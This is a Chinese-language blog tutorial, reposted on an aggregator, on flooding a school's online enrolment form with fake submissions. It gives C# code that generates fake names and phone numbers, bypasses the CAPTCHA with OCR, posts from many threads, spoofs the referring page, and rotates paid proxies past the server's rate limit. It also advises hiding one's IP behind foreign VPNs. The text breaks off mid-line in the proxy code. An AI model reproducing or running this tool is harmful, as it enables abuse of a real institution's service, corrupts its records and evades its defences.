Web安全:数据注入某校“在线报名“ 大量提交虚假消息 验证码识别破解
Posted 生产队的驴.
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Web安全:数据注入某校“在线报名“ 大量提交虚假消息 验证码识别破解相关的知识,希望对你有一定的参考价值。
效果图:
使用环境
系统: Windows10 64位 家庭版
编程语言: C# .Net Framework 4.72
编译器: Visual Studio 2019
打码平台: 百度AI
浏览器: 360浏览器13.1
隐藏身份
记得隐藏好自己的IP地址信息,建议挂一个境外的VPN,或高匿的代理,如果是 小网站 随意 ,尽量不暴露自己的IP地址
一般网站有备案的还是挂一个较好
(申请备案比较麻烦,一般有备案的基本是一个组织)
学校这种肯定是有经过备案的
备了案的网站 最下面一般都会有对应的ICP号
额外知识:
使用中国境内的服务器是必须备案的,不备案域名解析不了,境外的服务器域名不需要备案
难点:
验证码的识别 (好在有百度的AI识别)
正确率在百分之60左右,虽然有点低,但是配合多线程弥补了
POST数据的拼接
需要把中文的信息Url编码…这里浪费了比较多时间,好在经过几个小时,终于完成了
网站分析
这里就是他的PC端 在线报名 页面,是一个表单
先手动提交一组信息抓包
折磨了半个小时 并没有发现有用信息 发现这网站还有一个移动端的页面
把浏览器UA代理,切换至 移动端
浏览器随着重定向到手机端的URL
接口抓取
点击 提交按钮 时 抓到了提交的包
第一个包:提交的表单接口
第二个包:验证码的接口
表单接口分析
请求 URL: http://xxxxxxxxxx/addSubmit?_v=1654613271594
请求方法: POST
状态代码: 200 OK
远程地址: xxxxxxxxx
引用站点策略: unsafe-url
根据经验判断 v=1654613271594 这参数是一个时间戳
转换后 证实 v是一个时间戳参数 2022-06-07 22:47:51 正是提交表单的时间
时间戳概念:
1654613271594 (毫秒)是一串数字,每秒都在增加,用来表示某一个时间,定义为从格林威治(和北京时间一样)时间(1970年,1月,1日,00时,00分,00秒 )到现在的 总秒 或 豪秒 数 到现在已经万亿了 已超过int的数值范围 ,使用他得使用long类型变量,使用他不需要在意地区不同导致时间有偏差(如北京时间和美国时间 不同时间差)
POST参数:
接下来就是解析POST的请求参数了
源数据:
很明显是经过URL编码后的数据
URL编码:
这是浏览器用来打包数据的一种数据格式,在传输过程中需要把其中的中文字符或特殊不安全的(如:’ " 空格 等等 )字符经过编码后进行发送,其中&号为分隔符,url编码就是一个字符ascii码的十六进制然后前面加上%,以键值对的形式出现,只要你在浏览器上肯定是用的到,只所以用户看不到这些经过编码后的字符,是因为现在大多数浏览器都帮我们完成了解码
ASCII码表(部分):
例如将 ! 号进行URL编码,那么编码结果就是 %21 (对应16进制)
小例子:
在网站上,放一个带中文名的图片
通过浏览器访问 网站图片
看似中文的图片,其实是经过URL编码的 只不过是后面浏览器帮助我们解码了
打开 开发者工具
这才是请求的源URL ,把他解码正是这个图片的中文名称
看看浏览器解码后面数据
分析POST参数:
formId: 1 (这里是表单的ID 不变值不需要理会)
vCodeId: 3691 (对应验证码接口的ID)
submitContentList: (提交数据的表弟 是一个JSON格式)
[“id”:0,“type”:0,“val”:“蔡徐坤”,“id”:1,“type”:2,“val”:“女”,“id”:2,“type”:0,“val”:“20”,“id”:4,“type”:0,“val”:“广东省技工学校”,“id”:5,“type”:0,“val”:“85”,“id”:3,“type”:8,“val”:“13333333333”,“id”:6,“type”:8,“val”:“17733333333”]
tmpFileList: []validateCode: qadq (验证码 对应3691 这个接口)
colId: 158
submitOrigin: “pageUrl”:“http:/xxxxxx.html”,“pageName”:“手机网站-在线报名”
(用户在哪个页面提交的URL 和 网页标题)phoneValidateCodes: []
其中只有 submitContentList 和 validateCode 是变的,其他值为不变。
成功后的返回值
rt: 0, success: true, msg: “提交表单数据成功”, id: 420
id: 420 msg:
“提交表单数据成功”
rt: 0 success: true
id: 420 msg: 这是一个自增的ID,每次提交成功一次值就会+1,也就是这个表单当前已提交了420次了
验证码接口分析:
请求 URL:
http://xxxxx/validateCode.jsp?185.3168615516483&vCodeId=3691
请求方法: GET 状态代码: 200 OK
远程地址: xxxxxxx
引用站点策略: unsafe-url
vCodeId=3691:这就是验证码ID 上面说到过
是一个GET请求,浏览器直接请求即可
多次访问测试后发现是 URL 并不会随着验证码而重定向到其他的URL 这就很好办
小实验
按理说 只要两个接口 使用同一个 Cookie就可以实现提交表单了,
原理图:
在浏览器打开 验证码接口 和 提交页面 必须在同一个浏览器上 这样才使用的同一个Cookie)
然后输入验证码接口的 验证码 不输入提交页面生成的验证码
测试可行 成功了 ,如果换 其中 两个页面换成 两个不同的浏览器 打开就不行 ,因为两个请求是单独的
程序批量提交
为了数据真实一点,需要大量生成 虚假手机号 和 姓名 ,大量提交同一个一模一样的数据,在数据库里 就一行SQL语句就可以筛选出来,达不到效果
生成信息:
公共随机数:
static Random r = new Random();
姓名生成:
这里使用的是,百度把常用的 姓氏 储存到一个数组,然后名储存到一个文本(也来源百度),程序进入的时候读取数组 在 使用随机数 随机组名字
static string[] NmaeHead = "王", "李", "张", "刘", "陈", "杨", "黄", "赵", "吴", "周", "徐", "孙", "马", "朱", "胡", "郭", "何", "林", "高", "罗", "郑", "梁", "谢" ;
static string[] NmaeTail = File.ReadAllLines(@"Name.txt");
static List<string> NameList= new List<string>();
//姓字列表
性别生成:
static char[] Sex ='男','女';
使用时候直接 随机数 随机选择
虽然表单是 单选框 但是可以直接修改 表单内容 比如可以把 男 或 女 改成 雌 ,雄, 公 ,母 …
年龄生成:
string age = r.Next(13, 23).ToString();//年龄
直接使用随机数 生成13 到 23 之间的数字
就读学校:
当然这个也可以生成 但为了真实 我并没有这样,而是百度了 部分真实的学校,也是直接写到记事本 然后读取他
static string[] SchoolList = File.ReadAllLines(@"SchoolList.txt");
//学校列表
班级生成:
同理 ,为了真实
static string[] ClassList = File.ReadAllLines(@"ClassList.txt");
//班级
手机号生成:
手机号开头都是13xxxx,17xxx开头的,如果使用随机数就会出现20xxx,50xxx,这看着就不太真实,需要限制号段
static List<string> PhoneList = new List<string>();//手机号
static string[] PhoneHead = "131","178","158","177","185","132","176","159","133","188","171","135";
总结:
static char[] Sex ='男','女';
static string[] ClassList = File.ReadAllLines(@"ClassList.txt");
//班级
static List<string> PhoneList = new List<string>();//手机号t
static List<string> NameList= new List<string>();
//姓字列表
static string[] SchoolList = File.ReadAllLines(@"SchoolList.txt");
//学校列表
static string[] NmaeHead = "王", "李", "张", "刘", "陈", "杨", "黄", "赵", "吴", "周", "徐", "孙", "马", "朱", "胡", "郭", "何", "林", "高", "罗", "郑", "梁", "谢" ;
static string[] NmaeTail = File.ReadAllLines(@"Name.txt");
//名字
static string[] PhoneHead = "131","178","158","177","185","132","176","159","133","188","171","135";
static Random r = new Random();
使用循环生成数据
Console.WriteLine("开始生成姓名,手机号");
//20000为生成的数量
for (int i = 0; i < 20000; i++)
PhoneList.Add(PhoneHead[r.Next(0, PhoneHead.Length)] + r.Next(10000000, 99999999));
NameList.Add(NmaeHead[r.Next(0, NmaeHead.Length)] + NmaeTail[r.Next(0, NmaeTail.Length)] + NmaeTail[r.Next(0, NmaeTail.Length)]);
Console.WriteLine(i+" "+PhoneList[i]+ NameList[i]);
数据都有了 ,上面说到过来,中文需要URL编码,使用他们的时候需要把他们URL编码
这里定义了一个URL编码的方法,提交数据时需要调用他
URL编码:
static string UrlEncode(string str)
byte[] array = Encoding.UTF8.GetBytes(str);
//转成字节数组
StringBuilder Text = new StringBuilder(500);
//因为字符串的不可变性 使用StringBuilder 并且开了500个字符的空间
for (int i = 0; i < array.Length; i++)
Text.Append("%"+array[i].ToString("X2"));
//转成的编码 添加到Text
//这里是url编码
return Text.ToString();
//返回编码好的字符串
提交方法:
随机从上面的列表抽取手机号 姓名 并编码
提取手机号 姓名
string name = UrlEncode( NameList[r.Next(0, NameList.Count)]);//姓名
string sex = Sex[r.Next(0, Sex.Length)].ToString();//性别
string school = SchoolList[r.Next(0, SchoolList.Length)];//学校
string classname = ClassList[r.Next(0, ClassList.Length)];//班级
string age = r.Next(13, 23).ToString();//年龄
string localPhone = PhoneList[r.Next(0, PhoneList.Count)];
string parentsPhone = PhoneList[r.Next(0, PhoneList.Count)];
这里还需要生成一个 储存验证码的 文件名 因为不可能十几个线程都去读一个验证码
string codeName = r.Next(0, 100000).ToString() + ".jpg"; //验证码图片名字
请求验证码接口:
string userAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36";
//浏览器代理 如果为空 服务器会拒接 502
CookieContainer Cookie = new CookieContainer();
//使用同一个COOKIE 相当于同一个浏览器
HttpWebRequest ImageCode = (HttpWebRequest)WebRequest.Create("http:xxxxx/validateCode.jsp?890.6793103043062&vCodeId=3691");
//验证码接口地址
ImageCode.CookieContainer = Cookie;
//使用 Cookie 这个"浏览器"
ImageCode.KeepAlive = true;
//状态保持
ImageCode.UserAgent = userAgent;
//设置浏览器代理
ImageCode.AllowAutoRedirect = false;
//禁止重定向URL
ImageCode.ContentType = "application/x-www-form-urlencoded";
//类型
HttpWebResponse ImageRet = (HttpWebResponse)ImageCode.GetResponse();
//接搜返回值
FileStream file = new FileStream(codeName, FileMode.OpenOrCreate);
//定义文件流保存文件
ImageRet.GetResponseStream().CopyTo(file);
//保存文件
file.Close();
//关闭流
验证码打码:
这里使用的是 百度的AI 文字识别 ,效果还可以,
原理就是通过请求验证码 把验证码下载下来 然后使用 AI 文字识别 验证码 在把识别的验证码 和表单一起 提交
var API_KEY = "这里需要自己申请";
var SECRET_KEY = "这里需要自己申请";
var client = new Baidu.Aip.Ocr.Ocr(API_KEY, SECRET_KEY);
//文字识别
client.Timeout = 60000; // 修改超时时间
var image = File.ReadAllBytes(codeName);
//把图片转成字节数组
var result = client.GeneralBasic(image);
//上传识别
string str = result.ToString();
//识别成功后的字符串
API_KEY 这些需要自行到 百度AI开发 平台申请 注册即可
然后的是一个JSON格式字符串
"words_result": [
"words": "QN"
],
"words_result_num": 1,
"log_id": 1535879164735694844
其中 words 里的字符串 就是识别的内容
解析JSON:
JObject j = JObject.Parse(str);
JArray r = (JArray)j["words_result"];
//强制转成数组 因为要获取employees
str = r[0]["words"].ToString();
if (str.Length < 4)
Console.WriteLine("识别失败");
continue;
验证码都是四位数 如果小于四位数 那就是识别失败了 直接返回
提交表单
拼接POST参数:
string post_str = "formId=1&vCodeId=3691&submitContentList=[%7B%22id%22:0,%22type%22:0,%22val%22:%22" + name + "%22%7D,%7B%22id%22:1,%22type%22:2,%22val%22:%22" + sex + "%22%7D,%7B%22id%22:2,%22type%22:0,%22val%22:%22" + age + "%22%7D,%7B%22id%22:4,%22type%22:0,%22val%22:%22" + school + "%22%7D,%7B%22id%22:5,%22type%22:0,%22val%22:%22" + classname + "%22%7D,%7B%22id%22:3,%22type%22:8,%22val%22:%22" + localPhone + "%22%7D,%7B%22id%22:6,%22type%22:8,%22val%22:%22" + parentsPhone + "%22%7D]&tmpFileList=[]&validateCode=" + str + "&colId=158&submitOrigin=%7B%22pageUrl%22:%22http%3A%2F%2Fwww.xxxx.com%2Fh-col-171.html%22,%22pageName%22:%22%E6%83%A0%E5%B7%9E%E5%B8%82%E4%BB%B2%E6%81%BA%E6%8A%80%E5%B7%A5%E5%AD%A6%E6%A0%A1%20%7C%20%E5%B9%BF%E4%B8%9C%E7%9C%81%E9%87%8D%E7%82%B9%E6%8A%80%E5%B7%A5%E5%AD%A6%E6%A0%A1%22%7D&phoneValidateCodes=[]";
为了不让接口给发现 这里我把 页面地址 改成了 电脑端的首页
提交表单:
HttpWebRequest Request = (HttpWebRequest)WebRequest.Create("http://m.xxxxx.com/api/guest/form/addSubmit?_v=" + DateTimeOffset.UtcNow.ToUnixTimeMilliseconds().ToString());
//请求表单接口 后面的参数为时间戳
Request.Method = "POST";
//模式为 POST
Request.UserAgent = userAgent;
//设置浏览器UA
Request.CookieContainer = Cookie;
//使用和验证码同一个Cookie
Request.ContentType = "application/x-www-form-urlencoded";
//类型
byte[] array = Encoding.UTF8.GetBytes(post_str);
//编码号的Post数据 转成字节
Request.ContentLength = array.Length;
Stream WriteRequest = Request.GetRequestStream();
//创建请求流
WriteRequest.Write(array, 0, array.Length);
//把数据 写入到请求流
WriteRequest.Flush();
//写入
WriteRequest.Close();
//关闭流
HttpWebResponse DateRet = (HttpWebResponse)Request.GetResponse();
//接返回的请求
StreamReader Read = new StreamReader(DateRet.GetResponseStream(), Encoding.UTF8);
Console.WriteLine(Thread.CurrentThread.Name+Read.ReadToEnd());
//读取返回内容
ImageRet.Dispose();
DateRet.Dispose();
Read.Dispose();
//释放流
这样就完成了 接下来就是多线程了
多线程
for (int i = 0; i < 50; i++)
Thread th = new Thread(School);
th.IsBackground = true;
th.Name = i.ToString();
th.Start();
Console.WriteLine(i + " 号线程创建成功");
创建50个线程 执行 方法 ,也就是50个人同时一直提交表单
运行时发现,如果同一个IP,短时间请求太多次,服务器会拒接返回403,
经过测试后,线程数量超过9 服务器就会拒接,9个线程一分钟也可以提交100条数据了,
虽然效果也不错,为了让程序更加强大,这里我使用了代理,让多线程更好的使用,
代理:
目前网上也有大量的免费代理 但可用率都特别低 这里我使用付费的(几块钱就可以买上几w个),
网络代理:
这里我封装成了方法
调用
GetAngent()
储存代理
static List<string> Agent = new List<string>();
//代理列表
生成代理
static void GetAngent()
while(true)
HttpWebRequest Beg = (HttpWebRequest)WebRequest.Create("http://http1.9vps.com/getip.asp?username=xxxx&pwd=xxxxx&geshi=1&feng以上是关于Web安全:数据注入某校“在线报名“ 大量提交虚假消息 验证码识别破解的主要内容,如果未能解决你的问题,请参考以下文章
Web安全:数据注入某校“在线报名“ 大量提交虚假消息 验证码识别破解